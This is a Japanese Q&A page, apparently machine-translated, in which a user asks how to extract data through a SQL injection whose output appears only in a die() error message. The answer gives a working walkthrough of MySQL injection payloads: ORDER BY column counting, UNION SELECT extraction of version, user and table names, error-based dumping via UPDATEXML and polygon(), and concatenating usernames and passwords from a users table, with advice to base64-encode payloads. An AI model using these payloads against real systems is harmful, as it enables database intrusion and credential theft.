web-dev-qa-db-ja.com

出力がdie()関数にある場合、SQLインジェクションを介してカスタムクエリをダンプしますか?

私のlocalhostにはPHPこのようなリンクがあります

_abc.com/index.php?q=XYZ
_

ここで、XYZは、注入可能であることを確認したbase64encodedパラメータです。 _abc.com/index.php?q=XYZ'_を試してみると、

SQL構文にエラーがあります。 MySQLサーバーのバージョンに対応するマニュアルを確認してください。

おそらくクエリは

_`select * from TableName where q={QUERYPRAM`} or die(mysql_error());
_

出力が実際にdie()関数にあるため、カスタムクエリをここに記述したり、情報を取得するにはどうすればよいですか?

私は通常、この関数にSQLMapを使用しますが、動作が非常に遅く、リクエストをすぐに閉じます。

1
Johnny

パラメータが整数または文字列(おそらく文字列)として解析されているかどうかを把握する必要があります。クエリのバランスが取れて成功した場合、die()は行われません。試してください.

1' order by 1-- -

または..

1 order by 1-- -

最初のコードがエラーを返した場合、それはパラメーターが整数として解析されているため、注入を実行するために引用符( ')を必要としないことを意味します。

ここで、ここにデータをダンプする多くの異なる方法があります。しかし、私は次の2つを好みます。

最初:

インジェクションポイントの前に、クエリに含まれる列の数を確認する必要があります。ここでorder by句を試すことができます。最も大きい番号から始めます。例えば:

1' order by 1000-- -

エラーが発生します。

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

次に、カウントを減らします。クエリが成功すると、正確な列数がわかります。 5つの列があるとしましょう。

1' order by 5-- -

したがって、これはエラーをスローしません。

5列のUNIONクエリを追加し、実際のクエリを否定(および0)するだけです。

1' and 0 UNION SELECT 1,2,3,4,5-- -

すべてが正常に完了すると、ページに脆弱な列が表示されます。ページに表示される脆弱な列が「3」であるとしましょう。この列のデータをダンプできます。

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

または..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

MYSQLバージョンが5より大きい場合、これを実行してテーブル名をダンプできます。

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

等々 ..

2番目:

エラー自体にデータをダンプすることもできます。これを行うには多くの方法がありますが、私はMYSQL XML関数を好みます。

1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

これはMYSQLバージョンでエラーをスローします。

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

次に、サブクエリを使用してデータを取得できます。

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

エラーの最初のテーブル名が表示されます。

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

編集:

N番目のtable_nameを取得するには、LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1などのように、LIMIT句にOFFSETを指定します。

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

これにより、エラーの2番目のテーブル名が表示されます。

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

N番目のtable_nameの場合:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

編集2:

データ列を1つずつダンプする必要はありません。次のように複数の列を連結できます。

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

Q:「1回のヒットですべてのテーブル名をダンプまたは取得できますか?」

MYSQLエラーには文字制限があります。この制限は機能ごとに異なります。これまでのところ、私が見た最大の文字数はpolygon()関数を使用することです。以下は、MySQLバージョン5.6のクエリ例です。

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as `` )``)``))-- -

出力:

Illegal non geometric '(select `` from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

UNIONベースのSQLインジェクションではより多くのデータをダンプできますが、エラーベースでは、MYSQLエラーの文字制限を超えてデータをダンプすることはできません。

ペイロードは必ずエンコード(BASE64)してください。

4
Mukarram Khalid